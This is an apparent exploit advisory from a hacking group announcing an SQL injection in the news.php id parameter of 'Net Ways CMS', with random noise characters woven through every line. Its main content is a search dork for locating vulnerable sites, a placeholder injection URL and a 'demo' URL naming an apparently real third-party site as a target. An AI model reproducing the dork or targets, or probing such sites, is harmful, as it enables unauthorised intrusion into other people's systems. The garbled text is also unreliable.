################################################################################??######## : i5 L3 ]6 a# G
# ( w8 r4 Y# ~! z+ x- Q5 ]
# Exploit Title : Net Ways Cms Sql Injection Vulnerability 0 i: e1 j( b0 |8 m
#
* j4 V8 W0 ]' r% K! K) R* r# Author : IrIsT.Ir + \8 {% t- E T4 c
# 3 t0 N$ H) l8 n% }: e# t+ V/ l
# Discovered By : Am!r
( L) m" l' v' ^. K# ~1 ~3 [7 w#
* v6 @- V8 C) r5 V5 `# Home : http://IrIsT.Ir/forum : _0 H1 Y- p0 @5 B$ k( ^0 f
# ( w' F' A) N+ ~/ s5 t8 L) [
# Software Link : http://www.netways.com/ www.political-security.com9 B! }" n& I. E! T! l ~5 }/ ^7 o
#
* B; W$ n8 _6 K# Security Risk : High
# y* g: i3 B, Q% {/ K, ~# - }) X+ ~ m- u6 U' o" @) A( _1 A
# Version : All Version
2 B" O7 M) ], l#
3 a; } ?2 M; k, y# Tested on : GNU/Linux Ubuntu - Windows Server - win7
8 n d' B o$ ]9 Q: m3 E# 3 b; Q; l5 T' e. M
# Dork : intext:"Designed & developed by NetWays" ( S" e+ {: u6 p8 D! x) o
# " t* s- C7 t, F$ a4 ^$ F
################################################################################??######## . k% N( n0 | y' H% \
# 4 c$ J5 N* Z6 I
# Expl0iTs :
! b; ~( ^/ x ^! o% K#
; x5 G/ F2 ]. F+ ~* @. X' l x# http://target.com/news.php?id=[Sql] 8 G/ h! Z/ n1 _. Z l n d
# ; x' k6 h4 [# Y6 \/ \# J
#
% j! Q. J! F# X- Y) a# D3mo : ' n/ O9 ^) E# @
# $ _, u+ @, n- C# v8 |
# http://compagnieparento.com/news.php?id=7[Sql]
3 N6 ]8 m' P0 N1 j' j# ]#
: y: a/ ]' M5 [* P+ s0 t6 r9 z################################################################################??########
6 n" o6 x0 w. o- u1 F5 X3 \#
7 q! O8 p+ S" S4 i; X2 b& _0 ?2 c# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
" W6 H: t' h0 V/ N#
. j) E, Z8 t3 }* I( L9 ~8 v# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r 5 j6 x8 Q4 B8 q+ |) b% ]
#
8 Q# l# N* o5 [! n# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
) r/ M! e& @# ^2 U i* E; b# # F* ~ G3 D- a8 W* ]
################################################################################??######## |